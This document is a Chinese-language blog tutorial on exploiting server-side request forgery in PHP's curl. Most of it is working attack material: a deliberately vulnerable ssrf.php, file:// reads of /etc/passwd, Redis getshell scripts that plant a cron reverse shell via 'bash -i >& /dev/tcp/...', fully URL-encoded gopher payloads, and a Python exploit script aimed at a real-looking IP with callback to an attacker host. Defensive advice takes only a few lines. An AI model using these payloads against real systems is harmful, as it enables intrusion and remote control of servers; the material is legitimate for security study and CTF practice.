SSRF漏洞分析与利用
前言：总结了一些常见的姿势，以PHP为例，先上一张脑图，划√的是本文接下来实际操作的
0x01 漏洞产生
以curl为例，漏洞代码为ssrf.php
<?php $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $_GET['url']); #curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_HEADER, 0); #curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS); curl_exec($ch); curl_close($ch); ?>
0x02 利用方式
首先查看curl的版本和该版本支持的协议
[root@localhost html]# curl -V curl 7.29.0 (x86_64-redhat-linux-gnu) libcurl/7.29.0 NSS/3.21 Basic ECC zlib/1.2.7 libidn/1.28 libssh2/1.4.3 Protocols: dict file ftp ftps gopher http https imap imaps ldap ldaps pop3 pop3s rtsp scp sftp smtp smtps telnet tftp Features: AsynchDNS GSS-Negotiate IDN IPv6 Largefile NTLM NTLM_WB SSL libz unix- sockets
可以看到该版本的curl支持很多协议，其中gopher协议、dict协议、file协议、http/s协议用的比较多
ps：上面的漏洞代码ssrf.php没有屏蔽回显，所以利用姿势比较多
gopher：gopher协议支持发出GET、POST请求：可以先截获get请求包和post请求包，再构造成符合gopher协议的请求。gopher协议是ssrf利用中一个最强大的协议。
先监听本地2333端口，然后利用gopher协议访问
[root@localhost ~]# nc -l -vv 2333 Ncat: Version 6.40 ( http://nmap.org/ncat ) Ncat: Listening on :::2333 Ncat: Listening on 0.0.0.0:2333 Ncat: Connection from 127.0.0.1. Ncat: Connection from 127.0.0.1:47726 [root@localhost html]# curl -v 'http://127.0.0.1/ssrf.php? url=gopher://127.0.0.1:2333/_test' [root@localhost ~]# nc -l -vv 2333 Ncat: Version 6.40 ( http://nmap.org/ncat ) Ncat: Listening on :::2333 Ncat: Listening on 0.0.0.0:2333 Ncat: Connection from 127.0.0.1. Ncat: Connection from 127.0.0.1:47726. test
可以看到数据发送了。一开始感觉反弹传输数据没多大用，后来看了gopher和dict攻击redis和脆弱的内网应用的exp才明白
dict：因为ssrf.php的漏洞代码有回显，所以浏览器直接访问
http://4o4notfound.org/ssrf.php?url=dict://127.0.0.1:6379/info
即可看到redis的相关配置。
http://4o4notfound.org/ssrf.php?url=dict://127.0.0.1:ssh端口/info
即可看到ssh的banner信息
如果ssrf.php中加上一行屏蔽回显的代码“curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);”，那么这种方式就失效了，和gopher一样，只能利用nc监听端口，反弹传输数据了。
file：因为ssrf.php的漏洞代码有回显，所以浏览器直接访问
http://4o4notfound.org/ssrf.php?url=file:///etc/passwd
即可看到很多不可描述的东西。同理，如果屏蔽回显，该协议就废了
http/s：主要用来探测内网服务。根据响应的状态判断内网端口及服务，可以结合java系列0day和其他各种0day使用
0x03 攻击应用
主要攻击redis、discuz、fastcgi、memcache、内网脆弱应用这几类应用，这里以redis为例，分别利用gopher协议和dict协议getshell
首先要了解redis的getshell的exp写成的bash shell：
echo -e "\n\n*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1\n\n"|redis-cli -h $1 -p $2 -x set 1 redis-cli -h $1 -p $2 config set dir /var/spool/cron/ redis-cli -h $1 -p $2 config set dbfilename root redis-cli -h $1 -p $2 save redis-cli -h $1 -p $2 quit
执行命令bash shell.sh 127.0.0.1 6379，就在redis里面写了一个键值对的定时任务（利用crontab），可以反弹shell。
gopher利用：这部分三叶草的joychou师傅说的很详细，可以看ssrf in php。
这里为了构造符合gopher协议的访问请求，首先要获取bash脚本对redis发出的访问请求，要用socat进行端口转发，转发命令为：
socat -v tcp-listen:4444,fork tcp-connect:localhost:6379
意思是将访问4444端口的流量转发到6379端口。也就是如果我们的bash脚本请求的是4444端口，仍然访问的是6379的redis，相当于一个中转
执行命令：
bash shell.sh 127.0.0.1 4444
socat就获取到了shell.sh对redis发出的请求（这里贴出来部分请求）：
[root@localhost cron]# socat -v tcp-listen:4444,fork tcp-connect:localhost:6379 > 2017/05/25 07:16:51.991865 length=18 from=0 to=17 *1\r $8\r flushall\r < 2017/05/25 07:16:51.992468 length=5 from=0 to=4 +OK\r > 2017/05/25 07:16:51.995872 length=83 from=0 to=82 *3\r $3\r set\r $1\r 1\r $56\r */1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1 \r < 2017/05/25 07:16:51.996065 length=5 from=0 to=4 +OK\r > 2017/05/25 07:16:51.998777 length=57 from=0 to=56 *4\r $6\r
改成适配gopher协议的url：
gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$56%0d%0a%0d%0a%0a%0 a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0ad ir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$ 10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aq uit%0d%0a
再进行urlencode，得到payload：
gopher%3A%2F%2F127.0.0.1%3A6379%2F_%2A3%250d%250a%243%250d%250aset%250d%250a%241%250d %250a1%250d%250a%2456%250d%250a%250d%250a%250a%250a%2A%2F1%20%2A%20%2A%20%2A%20%2A%20 bash%20- i%20%3E%26%20%2Fdev%2Ftcp%2F127.0.0.1%2F2333%200%3E%261%250a%250a%250a%250d%250a%250d %250a%250d%250a%2A4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250 a%243%250d%250adir%250d%250a%2416%250d%250a%2Fvar%2Fspool%2Fcron%2F%250d%250a%2A4%250 d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%2410%250d%250adbfilen ame%250d%250a%244%250d%250aroot%250d%250a%2A1%250d%250a%244%250d%250asave%250d%250a%2 A1%250d%250a%244%250d%250aquit%250d%250a
最终的攻击poc为：
curl -v 'http://127.0.0.1/ssrf.php? url=gopher%3A%2F%2F127.0.0.1%3A6379%2F_%2A3%250d%250a%243%250d%250aset%250d%250a%241% 250d%250a1%250d%250a%2456%250d%250a%250d%250a%250a%250a%2A%2F1%20%2A%20%2A%20%2A%20%2 A%20bash%20- i%20%3E%26%20%2Fdev%2Ftcp%2F127.0.0.1%2F2333%200%3E%261%250a%250a%250a%250d%250a%250d %250a%250d%250a%2A4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250 a%243%250d%250adir%250d%250a%2416%250d%250a%2Fvar%2Fspool%2Fcron%2F%250d%250a%2A4%250 d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%2410%250d%250adbfilen ame%250d%250a%244%250d%250aroot%250d%250a%2A1%250d%250a%244%250d%250asave%250d%250a%2 A1%250d%250a%244%250d%250aquit%250d%250a'
执行即可在/var/spool/cron/下生成一个名为root的定时任务，任务为反弹shell
dict利用：dict协议有一个功能：dict://serverip:port/name:data 向服务器的端口请求 name data，并在末尾自动补上rn(CRLF)。也就是如果我们发出dict://serverip:port/config:set:dir:/var/spool/cron/的请求，redis就执行了config set dir /var/spool/cron/ rn.用这种方式可以一步步执行redis getshell的exp，执行完就能达到和gopher一样的效果。原理一样，但是gopher只需要一个url请求即可，dict需要步步构造。
利用猪猪侠的wooyun上公开的脚本改成适配本文的脚本ssrf.py：
import requests
host = '104.224.151.234'
port = '6379'
bhost = 'www.4o4notfound.org'
bport=2333
vul_httpurl = 'http://www.4o4notfound.org/ssrf.php?url='
_location = 'http://www.4o4notfound.org/302.php'
shell_location = 'http://www.4o4notfound.org/shell.php'
#1 flush db
_payload = '?s=dict%26ip={host}%26port={port}%26data=flushall'.format( host = host,
port = port)
exp_uri = '{vul_httpurl}{0}{1}'.format(_location, _payload, vul_httpurl=vul_httpurl)
print exp_uri
print requests.get(exp_uri).content
#set crontab command
_payload = '?s=dict%26ip={host}%26port={port}%26bhost={bhost}%26bport=
{bport}'.format( host = host, port = port, bhost = bhost, bport = bport)
exp_uri = '{vul_httpurl}{0}{1}'.format(shell_location, _payload,
vul_httpurl=vul_httpurl)
print exp_uri
print requests.get(exp_uri).content
#confg set dir
_payload='?s=dict%26ip={host}%26port=
{port}%26data=config:set:dir:/var/spool/cron/'.format( host = host, port = port)
exp_uri = '{vul_httpurl}{0}{1}'.format(_location, _payload, vul_httpurl=vul_httpurl)
print exp_uri
print requests.get(exp_uri).content
#config set dbfilename
_payload='?s=dict%26ip={host}%26port=
{port}%26data=config:set:dbfilename:root'.format( host = host, port = port)
exp_uri = '{vul_httpurl}{0}{1}'.format(_location, _payload,
vul_httpurl=vul_httpurl)
print exp_uri
print requests.get(exp_uri).content
#save
_payload='?s=dict%26ip={host}%26port={port}%26data=save'.format( host = host, port
= port)
exp_uri = '{vul_httpurl}{0}{1}'.format(_location, _payload,
vul_httpurl=vul_httpurl)
print exp_uri
print requests.get(exp_uri).content因为curl默认不支持302跳转，而该脚本要用到302跳转，所以需要在ssrf.php中加上一行“curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1)”来支持跳转。302.php代码为：
<?php
$ip = $_GET['ip'];
$port = $_GET['port'];
$scheme = $_GET['s'];
$data = $_GET['data'];
header("Location: $scheme://$ip:$port/$data"); ?>shell.php主要用于写入用于反弹shell的crontab的定时任务，代码为：
<?php
$ip = $_GET['ip'];
$port = $_GET['port'];
$bhost = $_GET['bhost'];
$bport = $_GET['bport'];
$scheme = $_GET['s'];
header("Location: $scheme://$ip:$port/set:0:\"\\x0a\\x0a*/1\\x20*\\x20*\\x20*\\x20*\\x20/bin/bash\\x20-
i\\x20>\\x26\\x20/dev/tcp/{$bhost}/{$bport}\\x200>\\x261\\x0a\\x0a\\x0a\""); ?>执行ssrf.py,即可在/var/spool/cron/下写入定时任务，反弹shell，nc等待接收shell
0x04 绕过与防御
绕过:可以使用www.ip.xip.io或者www.ip.xip.io代替ip可以绕过部分过滤
防御：限制协议为HTTP、HTTPS
curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
禁止30x跳转
删掉curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
设置白名单或限制内网ip
0x05 例题
一道ctf题目，有两个文件：ssrf3.php和flag.php
题目意思是flag只能127.0.0.1访问，还进行了post验证，这就需要gopher提交post数据来绕过
curl设置了302跳转，所以可以把302.php放在自己的vps上进行跳转.
首先获取访问flag.php的post请求：
POST /flag.php HTTP/1.1 Host: 192.168.154.130 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Connection: keep-alive Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 14 username=admin
因为只有一台机器，所以我直接将Host改成了127.0.0.1,再改成符合gopher协议的请求，写入302.php。
302.php内容为
header("Location:gopher://127.0.0.1:80/_POST /flag.php HTTP/1.1%0d%0aHost:
127.0.0.1%0d%0aUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:50.0)
Gecko/20100101 Firefox/50.0%0d%0aAccept:
text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8%0d%0aAccept-Language:
zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3%0d%0aAccept-Encoding: gzip,
deflate%0d%0aConnection: keep-alive%0d%0aUpgrade-Insecure-Requests: 1%0d%0aContent-
Type: application/x-www-form-urlencoded%0d%0aContent-Length:
14%0d%0a%0d%0ausername=admin");流程就是在ssrf3.php提交http://www.myvpsip.xip.io/302.php,然后漏洞机器会访问302.php，然后跳转，利用gopher协议，自己访问自己的flag.php同时提交username=admin的post数据。flag可以在ssrf3.php的页面源代码中看到。
因为都是一台机器在操作，但应该不是紫薇吧.ps:改装成符合gopher协议的get、post类型请求还是要小心的
如有错误，请务必指正。
参考
https://_thorns.gitbooks.io/sec/content/ssrf_tips.html
https://_thorns.gitbooks.io/sec/content/xiao_mi_mou_chu_ssrf_lou_6d1e28_ke_nei_wang_shell_.html
https://blog.chaitin.cn/gopher-attack-surfaces/#h5_%E6%9B%B4%E5%A4%9A%E6%94%BB%E5%87%BB%E9%9D%A2
http://vinc.top/2016/11/24/%E3%80%90ssrf%E3%80%91ssrfgopher%E6%90%9E%E5%AE%9A%E5%86%85%E7%BD%91%E6%9C%AA%E6%8E%88%E6%9D%83redis/
http://blog.feei.cn/ssrf/
http://joychou.org/index.php/web/phpssrf.html
原文作者：404notfound